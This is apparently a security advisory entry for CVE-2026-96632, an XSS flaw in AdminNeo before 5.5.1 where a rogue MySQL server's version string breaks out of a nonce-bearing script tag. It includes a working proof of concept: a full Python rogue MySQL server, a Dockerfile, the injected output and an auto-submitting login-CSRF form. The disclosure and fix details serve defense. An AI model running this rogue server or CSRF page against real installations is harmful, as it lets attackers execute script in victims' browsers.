---
id: "CVE-2026-96632"
kind: "vulnerability"
aliases: ["CVE-2026-96632", "GHSA-rx7m-wxwq-vxr9"]
title: "AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)"
severity: "high"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "adminneo-org/adminneo", "fixed": ["5.5.1"], "affected": "< 5.5.1", "ecosystem": "composer"}]
ecosystems: ["composer"]
tags: ["adminneo", "cwe-79", "mysql", "package", "php", "self-hosted"]
not_affected_if: ["fixed-version", "not-using-adminneo"]
published_at: "2026-10-30T22:52:23+00:00"
first_seen_at: "2026-10-30T22:56:53+00:00"
updated_at: "2026-10-30T22:58:44+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-rx7m-wxwq-vxr9", "first_seen_at": "2026-10-30T22:56:53+00:00"}]
---

# AdminNeo Vulnerable to XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)

AdminNeo places the database server's version string unescaped inside a script tag that carries a valid CSP nonce. A malicious MySQL server can return a crafted version string that breaks out of the script and runs attacker JavaScript in the browser of whoever logs in.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- composer:adminneo-org/adminneo affected < 5.5.1 fixed 5.5.1

## How to check

- Check the installed AdminNeo version in `composer.lock` for `adminneo-org/adminneo`, and see whether it is below `5.5.1`.
- Check whether the login form is reachable from untrusted networks, since the sources say no authentication is needed when combined with Login CSRF.

## Fix

- `adminneo-org/adminneo` `5.5.1`

## Timeline

- 2026-10-30T22:56:53+00:00 ghsa https://github.com/advisories/GHSA-rx7m-wxwq-vxr9

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/adminneo-org/adminneo/security-advisories/GHSA-rx7m-wxwq-vxr9
- [advisory] Maintainer's advisory: github.com https://github.com/adminneo-org/adminneo/security/advisories/GHSA-rx7m-wxwq-vxr9
- [fix] Patch: github.com https://github.com/adminneo-org/adminneo/commit/2c86406808bc2517efb35f5595b3a05761c2eacd
- [fix] Release: github.com https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1

## From the sources

## Summary

AdminNeo inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.

Originally reported in Adminer: https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgj

## Prerequisites

- Target runs AdminNeo
- Attacker controls a reachable MySQL server (a 80-line Python script)

## Root Cause

`admin/core/Admin.php`, lines 1285-1286:

```php
echo script("let autocompletion;\nwindow.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('" .
    Connection::get()->getVersion() . "', '" . Connection::get()->getFlavor() . "', autocompletion); });");
```

`script()` wraps the output in `<script nonce="VALID_NONCE">`. Return value of `Connection::get()->getVersion()` is not escaped.

## Steps To Reproduce

### 1. Build the environment

**Dockerfile** (AdminNeo):

```dockerfile
FROM php:8.3-cli
COPY adminneo.php /var/www/adminneo.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]
```

**rogue_mysql.py** (fake MySQL server that accepts any login):

```python
import socket, struct, threading

PAYLOAD = "1');alert(origin)//"

# Capability flags the client expects
CAP_PROTOCOL_41     = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH     = 0x00080000
CAPS_LOW  = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)

def make_packet(seq, payload):
    length = struct.pack("<I", len(payload))[:3]
    return length + bytes([seq]) + payload

def make_greeting(version_str):
    pkt  = b"\x0a"                                  # protocol version 10
    pkt += version_str.encode() + b"\x00"            # version string
    pkt += struct.pack("<I", 1)                      # connection id
    pkt += b"\x41" * 8                               # auth plugin data part 1
    pkt += b"\x00"                                   # filler
    pkt += struct.pack("<H", CAPS_LOW)               # capability flags lower
    pkt += b"\x21"                                   # charset utf8
    pkt += struct.pack("<H", 0x0002)                 # status flags
    pkt += struct.pack("<H", CAPS_HIGH)              # capability flags upper
    pkt += b"\x15"                                   # auth data length (21)
    pkt += b"\x00" * 10                              # reserved
    pkt += b"\x41" * 12 + b"\x00"                    # auth plugin data part 2
    pkt += b"mysql_native_password\x00"              # auth plugin name
    return make_packet(0, pkt)

def make_ok(seq):
    pkt  = b"\x00"          # OK marker
    pkt += b"\x00"          # affected rows
    pkt += b"\x00"          # last insert id
    pkt += struct.pack("<H", 0x0002)  # status flags
    pkt += struct.pack("<H", 0)       # warnings
    return make_packet(seq, pkt)

def make_eof(seq):
    pkt  = b"\xfe"
    pkt += struct.pack("<H", 0)       # warnings
    pkt += struct.pack("<H", 0x0002)  # status flags
    return make_packet(seq, pkt)

def make_err(seq, msg=b"not supported"):
    pkt  = b"\xff"
    pkt += struct.pack("<H", 1045)
    pkt += b"#HY000"
    pkt += msg
    return make_packet(seq, pkt)

def handle(conn):
    conn.sendall(make_greeting(PAYLOAD))
    try:
        conn.recv(4096)     # client login request
    except Exception:
        conn.close()
        return
    conn.sendall(make_ok(2))  # accept login

    # Answer any queries Adminer sends after login
    while True:
        try:
            data = conn.recv(4096)
            if not data:
                break
            seq = data[3] + 1
            # Send ERR for all queries (Adminer still has the version in memory)
            conn.sendall(make_err(seq))
        except Exception:
            break
    conn.close()

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
    conn, addr = srv.accept()
    print(f"[+] Connection from {addr}")
    threading.Thread(target=handle, args=(conn,)).start()
```

```shell
# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss

# Terminal 2: start rogue MySQL
python3 rogue_mysql.py
```

### 2. Trigger the XSS

Open a browser and navigate to `http://localhost:8081/adminneo.php`:

1. Select driver: **MySQL**
2. Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)
3. Username: `root`
4. Password: `x`
5. Click Login.

The rogue server accepts the login. AdminNeo renders the dashboard and includes:

```html
<script nonce="REAL_NONCE">let autocompletion;
window.addEventListener('DOMContentLoaded', () => { initSyntaxHighlighting('1');alert(origin)//', 'mysql', autocompletion); });</script>
```

The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.

### 3. Trigger it via Login CSRF

The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:

```html
<form id="f" method="POST" action="http://TARGET/adminneo.php">
  <input name="auth[driver]" value="mysql">
  <input name="auth[server]" value="ROGUE_IP:3307">
  <input name="auth[username]" value="root">
  <input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>
```

## Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @Voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
